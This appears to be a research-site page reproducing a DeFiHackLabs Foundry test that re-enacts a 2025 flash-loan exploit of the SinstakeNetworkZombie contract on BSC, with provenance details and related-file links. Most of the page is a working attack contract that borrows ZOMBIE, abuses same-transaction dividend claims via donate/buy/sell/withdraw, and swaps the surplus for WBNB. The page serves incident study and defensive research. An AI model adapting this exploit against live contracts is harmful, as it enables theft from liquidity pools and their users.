Public reproduction file
src/test/2025-06/SinstakeZombie_exp.sol
Public reproduction file for dataset entry SinstakeZombie.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.10;4import "../basetest.sol";5import "../interface.sol";7// @KeyInfo - Total Lost : 705.13 USD8// Attacker : 0xc49f2938327aa2cdc3f2f89ed17b54b3671f05de9// Attack Contract : 0xd599588b08eb167ee455f4bdac46fe162e7a651510// Vulnerable Contract : 0x7314729D691fD074DBbA03ca3c6eF3BE61b31D3411// Attack Tx : https://bscscan.com/tx/0x8b8e655c0ab0cd400e23e6d6a935aa23226a8a060bb37f40663f2d81ee63b94f12//13// @Info14// Vulnerable Contract Code : https://bscscan.com/address/0x7314729D691fD074DBbA03ca3c6eF3BE61b31D34#code15//16// @Analysis17// Telegram Alert : https://t.me/defimon_alerts/131918//19// Attack summary: the attacker flash-borrowed ZOMBIE from the ZOMBIE/WBNB BSCswap pair, used the20// SinstakeNetworkZombie donate/buy/sell/withdraw accounting path to pull more ZOMBIE from the21// contract than the flash-borrowed principal, then sold the excess ZOMBIE through the same pair for WBNB.22// Root cause: donation-funded dividends are immediately claimable by a same-transaction buyer/seller,23// so a temporary ZOMBIE balance can mint pool shares, realize the dividend balance, and leave enough24// surplus ZOMBIE to drain WBNB liquidity after satisfying the pair invariant.26address constant ATTACKER = address(uint160(0x00c49f2938327aa2cdc3f2f89ed17b54b3671f05de));27address constant HISTORICAL_ATTACK_CONTRACT = address(uint160(0x00d599588b08eb167ee455f4bdac46fe162e7a6515));28address constant HISTORICAL_FLASH_HELPER = address(uint160(0x005bd5cce0e913d1bb17b8019987c1e4af7f746f45));29address constant ZOMBIE_WBNB_PAIR = address(uint160(0x00aa4de99529ce0dc3ff2d2da3e73ab001ad068dc6));30address constant SINSTAKE_ZOMBIE = address(uint160(0x007314729d691fd074dbba03ca3c6ef3be61b31d34));31address constant ZOMBIE_TOKEN = address(uint160(0x00e2a6428fd332287b0470965e16350d3cc1736e3e));32address constant WBNB_TOKEN = address(uint160(0x00bb4cdb9cbd36b01bd1cbaebf2de08d9173bc095c));34uint256 constant FLASH_ZOMBIE_AMOUNT = 0x18d446cd6800;35uint256 constant DONATE_AMOUNT = 0x9184e72a000;36uint256 constant BUY_AMOUNT = 0xdea4f10a800;37uint256 constant CALLBACK_PAIR_INPUT = 0x1a383a622000;38uint256 constant WBNB_OUT = 0x0f49e4d1e914e349;40interface IBSCswapPair {41 function swap(uint256 amount0Out, uint256 amount1Out, address to, bytes calldata data) external;42 function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);43 function token0() external view returns (address);44 function token1() external view returns (address);45}47interface IBSCswapCallee {48 function BSCswapCall(address sender, uint256 amount0, uint256 amount1, bytes calldata data) external;49}51interface ISinstakeNetworkZombie {52 function donatePool(53 uint256 amount54 ) external returns (uint256);55 function buy(56 uint256 buyAmount57 ) external returns (uint256);58 function myTokens() external view returns (uint256);59 function sell(60 uint256 amountOfTokens61 ) external;62 function withdraw() external;63}65contract ContractTest is BaseTestWithBalanceLog {66 function setUp() public {67 uint256 forkBlock = 51_737_496;68 vm.createSelectFork("bsc", forkBlock);69 vm.roll(51_737_497);70 vm.warp(1_750_350_413);72 fundingToken = WBNB_TOKEN;73 attacker = ATTACKER;75 vm.label(ATTACKER, "Attacker");76 vm.label(HISTORICAL_ATTACK_CONTRACT, "Historical attack contract");77 vm.label(HISTORICAL_FLASH_HELPER, "Historical flash helper");78 vm.label(ZOMBIE_WBNB_PAIR, "ZOMBIE/WBNB BSCswap pair");79 vm.label(SINSTAKE_ZOMBIE, "SinstakeNetworkZombie");80 vm.label(ZOMBIE_TOKEN, "ZOMBIE");81 vm.label(WBNB_TOKEN, "WBNB");82 }84 function testExploit() public balanceLog {85 assertEq(IBSCswapPair(ZOMBIE_WBNB_PAIR).token0(), WBNB_TOKEN);86 assertEq(IBSCswapPair(ZOMBIE_WBNB_PAIR).token1(), ZOMBIE_TOKEN);88 uint256 attackerWbnbBefore = IERC20(WBNB_TOKEN).balanceOf(ATTACKER);89 uint256 pairWbnbBefore = IERC20(WBNB_TOKEN).balanceOf(ZOMBIE_WBNB_PAIR);91 SinstakeZombieAttack attack = new SinstakeZombieAttack(ATTACKER);92 attack.execute();94 uint256 attackerProfit = IERC20(WBNB_TOKEN).balanceOf(ATTACKER) - attackerWbnbBefore;95 assertEq(attackerProfit, WBNB_OUT);96 assertEq(pairWbnbBefore - IERC20(WBNB_TOKEN).balanceOf(ZOMBIE_WBNB_PAIR), WBNB_OUT);97 }98}100contract SinstakeZombieAttack is IBSCswapCallee {101 address private immutable profitReceiver;103 constructor(104 address receiver105 ) {106 profitReceiver = receiver;107 }109 function execute() external {110 // step 1: borrow ZOMBIE from the live pair through its BSCswap callback.111 IBSCswapPair(ZOMBIE_WBNB_PAIR).swap(0, FLASH_ZOMBIE_AMOUNT, address(this), abi.encode(uint256(1)));113 // step 5: after the first swap accepts its input, send all remaining ZOMBIE to the pair and114 // swap the resulting reserve imbalance into WBNB for the historical attacker.115 IERC20(ZOMBIE_TOKEN).transfer(ZOMBIE_WBNB_PAIR, IERC20(ZOMBIE_TOKEN).balanceOf(address(this)));116 IBSCswapPair(ZOMBIE_WBNB_PAIR).getReserves();117 IBSCswapPair(ZOMBIE_WBNB_PAIR).swap(WBNB_OUT, 0, profitReceiver, new bytes(0));118 }120 function BSCswapCall(address, uint256 amount0, uint256 amount1, bytes calldata) external override {121 require(msg.sender == ZOMBIE_WBNB_PAIR, "unexpected pair");122 require(amount0 == 0 && amount1 == FLASH_ZOMBIE_AMOUNT, "unexpected flash amount");124 // step 2: use the borrowed ZOMBIE as temporary capital for SinstakeNetworkZombie.125 IERC20(ZOMBIE_TOKEN).approve(SINSTAKE_ZOMBIE, FLASH_ZOMBIE_AMOUNT);126 ISinstakeNetworkZombie(SINSTAKE_ZOMBIE).donatePool(DONATE_AMOUNT);127 ISinstakeNetworkZombie(SINSTAKE_ZOMBIE).buy(BUY_AMOUNT);129 // step 3: burn the freshly minted pool balance, then withdraw the dividend-funded ZOMBIE.130 uint256 mintedPoolTokens = ISinstakeNetworkZombie(SINSTAKE_ZOMBIE).myTokens();131 ISinstakeNetworkZombie(SINSTAKE_ZOMBIE).sell(mintedPoolTokens);132 ISinstakeNetworkZombie(SINSTAKE_ZOMBIE).withdraw();134 // step 4: satisfy the flash swap invariant while retaining the excess ZOMBIE for the follow-up swap.135 IERC20(ZOMBIE_TOKEN).transfer(ZOMBIE_WBNB_PAIR, CALLBACK_PAIR_INPUT);136 }137}Analysis
Dataset entry
Public Foundry test for “SinstakeZombie” (2025-06-19). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
24 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/basetest.solImported by this file · 142 lines
- src/test/interface.solImported by this file · 6133 lines
- src/test/2025-06/AAVEBoost_exp.solSame month in the dataset · 78 lines
- src/test/2025-06/BankrollNetwork_exp.solSame month in the dataset · 84 lines
- src/test/2025-06/BankrollStack_exp.solSame month in the dataset · 65 lines
- src/test/2025-06/BankrollStackPlus_exp.solSame month in the dataset · 168 lines
- src/test/2025-06/BasePricePool_exp.solSame month in the dataset · 135 lines
- src/test/2025-06/BitCrown_exp.solSame month in the dataset · 96 lines
- src/test/2025-06/FixedTokenBSwap_exp.solSame month in the dataset · 158 lines
- src/test/2025-06/Gangsterfinance_exp.solSame month in the dataset · 68 lines
- src/test/2025-06/GradientMakerPool_exp.solSame month in the dataset · 113 lines
- src/test/2025-06/HoldSafe_exp.solSame month in the dataset · 176 lines
- src/test/2025-06/InitcodeFactoryFees_exp.solSame month in the dataset · 233 lines
- src/test/2025-06/MetaPool_exp.solSame month in the dataset · 151 lines
- src/test/2025-06/ParaSwapDAIApproval_exp.solSame month in the dataset · 201 lines
- src/test/2025-06/PegaBall_exp.solSame month in the dataset · 104 lines
- src/test/2025-06/ResupplyFi_exp.solSame month in the dataset · 138 lines
- src/test/2025-06/SiloFinance_exp.solSame month in the dataset · 201 lines
- src/test/2025-06/Stead_exp.solSame month in the dataset · 39 lines
- src/test/2025-06/TokenFactory_exp.solSame month in the dataset · 126 lines
- src/test/2025-06/TokenVault_exp.solSame month in the dataset · 130 lines
- src/test/2025-06/TSAggregatorGeneric_exp.solSame month in the dataset · 111 lines
- src/test/2025-06/unverified_8490_exp.solSame month in the dataset · 108 lines
- src/test/2025-06/unverified_b5cb_exp.solSame month in the dataset · 115 lines
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0xc49f2938327aa2cdc3f2f89ed17b54b3671f05de
- Attack Contract
0xd599588b08eb167ee455f4bdac46fe162e7a6515
- Vulnerable Contract
0x7314729d691fd074dbba03ca3c6ef3be61b31d34
- Attack Tx
0x8b8e655c0ab0cd400e23e6d6a935aa23226a8a060bb37f40663f2d81ee63b94f
File record
- Name
- SinstakeZombie
- Path
- src/test/2025-06/SinstakeZombie_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- defa1d1153f1948f8d2d7fa2d862ce26e59448c6
- Language
- Solidity
- Size
- 138 lines
- Date
- 2025-06-19
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2025-06/SinstakeZombie_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob defa1d1153f1948f8d2d7fa2d862ce26e59448c6, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.